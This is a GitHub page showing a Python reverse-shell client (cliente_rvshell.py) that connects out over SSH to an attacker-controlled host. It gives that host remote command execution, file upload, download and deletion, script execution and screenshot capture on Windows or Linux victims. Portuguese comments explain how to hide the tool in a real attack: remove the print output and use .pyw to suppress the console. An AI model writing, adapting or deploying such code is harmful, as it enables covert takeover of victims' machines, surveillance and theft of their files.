-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathcliente_rvshell.py
195 lines (178 loc) · 6.71 KB
/
cliente_rvshell.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
from time import *
import sys
import os
import pdb
import subprocess
try:
import paramiko
except ImportError:
os.system("pip3 install paramiko")
import paramiko
try:
import pyscreenshot as pst
except:
os.system("pip3 install pyscreenshot pillow")
import pyscreenshot as pst
## TODAS AS INSTRUÇÕES "PRINT" são aconselhaveis apaga-las em um ataque real, uma vez que a target machine não tem a necessidade, e pode ate ser perigoso para o ataque, uma vez que o target saberia que esta sendo atacado
## SALVAR A FILE EM MODO example.pyw, adicionando apenas um 'w' no final da extensao '.py' dizendo ao bin python para usar o pythonw.exe, no qual o prompt de comando windows e/ou terminal linux, não sera ativado.
########## imports #################
### login settings #######
password = "paraquedas123@" ## SSH PASS
username = "rablidad" ## SSH Username
ip = "192.168.1.31" # direcionamento de porta ip externo é necessario para ataques exteriores a lan ## SSH HOSTNAME (IPV4)
#####LOGIN SETTINGS#########
###########################
foto = 1
###########################
##### FUNCTIONS DECLARATIONS ########
def windows_shell(sshcliente):
global foto
while True:
wcmd = sshcliente.recv(1024).decode('utf-8')
print(wcmd)
try:
if(wcmd == 'exit'):
main()
elif(wcmd[:2] == 'cd'):
try:
os.chdir(wcmd[3:])
sshcliente.send(os.getcwd())
except os.error as xx:
sshcliente.send("[-] Client-Side Erro: " + str(xx))
else:
if wcmd == 'pwd':
try:
sshcliente.send(os.getcwd())
except os.error as b:
sshcliente.send("[-] Client-Side Error: " + str(b))
elif(wcmd[:5] == "start"):
try:
browser_output = subprocess.Popen(wcmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
brows = browser_output.stdout.read() + browser_output.stderr.read()
sshcliente.send("[+] Opening: Firefox/Chrome on Client.")
except subprocess.CalledProcessError as xxx:
sshcliente.send("[-] Client-Side Error: " + str(xxx))
else:
if(wcmd[:3] == "del" or wcmd[:2] == "rm"):
try:
os.system(wcmd)
sshcliente.send("[+] Arquivo Deletado: " + wcmd)
except os.error as file_del:
sshcliente.send("[-] Cliente side Error: " + str(file_del))
else:
if(wcmd[:4] == 'sndf'):
file_buffer = sshcliente.recv(65536).decode('ISO-8859-1')
if file_buffer == 'error':
continue
elif file_buffer != 'error':
try:
with open(wcmd[5:], 'w+') as file_to_create:
file_to_create.write(file_buffer)
sshcliente.send("[+] Arquivo Criado.")
except Exception as file_error:
sshcliente.send("[-] Não Foi possivel criar o arquivo.")
elif(wcmd[:4] == "getf"):
try:
with open(wcmd[5:], 'r') as file_to_read:
sshcliente.send("ok")
file_buffer = file_to_read.read()
sshcliente.send(file_buffer)
except Exception as poli:
sshcliente.send("[-] Cliente-Side Error: " + str(poli))
else:
sshcliente.send("[+] Enviando: " + wcmd[5:])
elif(wcmd == "python" or wcmd == "python3"):
path_file_to_execute = str(sshcliente.recv(2046).decode('utf-8'))
print(path_file_to_execute)
executavel = str(sys.executable)
try:
if(wcmd == 'python'):
os.execvp(executavel, ("python", str(path_file_to_execute)))
elif(wcmd == "python3"):
os.execvp(executavel, ("python3", str(path_file_to_execute)))
except os.error as paaaa:
sshcliente.send("[-] Cliente-Side Error: " + str(paaaa))
else:
if(wcmd == 'screenshot'):
pasta = sshcliente.recv(1024).decode('utf-8')
image = pst.grab()
image.save("C:\\Users\\"+ str(pasta) +"\\screenshot" + str(foto) + ".png")
try:
with open("C:\\Users\\"+ str(pasta) +"\\screenshot" + str(foto) + ".png", 'rb') as foto_send:
sshcliente.send("ok")
foto_buf = foto_send.read()
foto_len = str(foto_buf)
foto_len2 = str(len(foto_len))
print(foto_len2)
sshcliente.send(foto_len2)
print("enviando sendall")
sshcliente.sendall(foto_buf)
foto+=1
except Exception as bah:
sshcliente.send("[+] Cliente-Side Error: " + str(bah))
else:
try:
output_error = subprocess.Popen(wcmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
exec_output = str(output_error.stdout.read().decode('ISO-8859-1')) + str(output_error.stderr.read().decode('ISO-8859-1'))
print(exec_output)
sshcliente.send(exec_output)
except subprocess.CalledProcessError as eeee:
sshcliente.send("[-] Client-Side Error: " + str(eeee))
except Exception as ee:
sshcliente.send("[-] Client-Side Error: " + str(ee))
def linux_shell(sshcliente):
while True:
scmd = sshcliente.recv(1024).decode('utf-8')
print(scmd)
try:
if scmd == 'exit':
main()
elif scmd[:2] == 'cd':
try:
os.chdir(scmd[3:])
sshcliente.send(os.getcwd())
except os.error as err:
sshcliente.send("[-] Client-Side Error: " + str(err))
else:
if(scmd[:7] == 'firefox' or scmd[:13] == 'google-chrome'):
try:
brow = subprocess.Popen(scmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
cmd_outerr = brow.stdout.read() + brow.stderr.read()
if len(cmd_outerr):
sshcliente.send(cmd_outerr)
else:
sshcliente.send("[+] Opening: Firefox/Chrome on Client")
except subprocess.CalledProcessError as xxxx:
sshcliente.send("[-] Client-Side Error: " + str(xxxx))
else:
try:
cmd_out = subprocess.Popen(scmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
output = cmd_out.stdout.read() + cmd_out.stderr.read()
sshcliente.send(output)
except subprocess.CalledProcessError as err:
sshcliente.send("[-] Client-Side Error: " + str(err))
except Exception as ae:
sshcliente.send("[-] Client-Side Error: " + str(ae))
def re_connect():
cliente = paramiko.SSHClient()
cliente.load_system_host_keys()
cliente.set_missing_host_key_policy(paramiko.AutoAddPolicy())
while True:
try:
print("Conectando-se")
cliente.connect(hostname = ip, username = username, password = password, port = 5555)
except:
print("---\n Reiniciando, tentando novamente em 10 segundos.\n---")
sleep(10)
else:
return cliente
def main():
cliente = re_connect()
sshcliente = cliente.get_transport().open_session()
if sshcliente.active:
sshcliente.send(sys.platform)
if sys.platform == 'win32' or sys.platform == 'cygwin':
windows_shell(sshcliente)
else:
linux_shell(sshcliente)
main()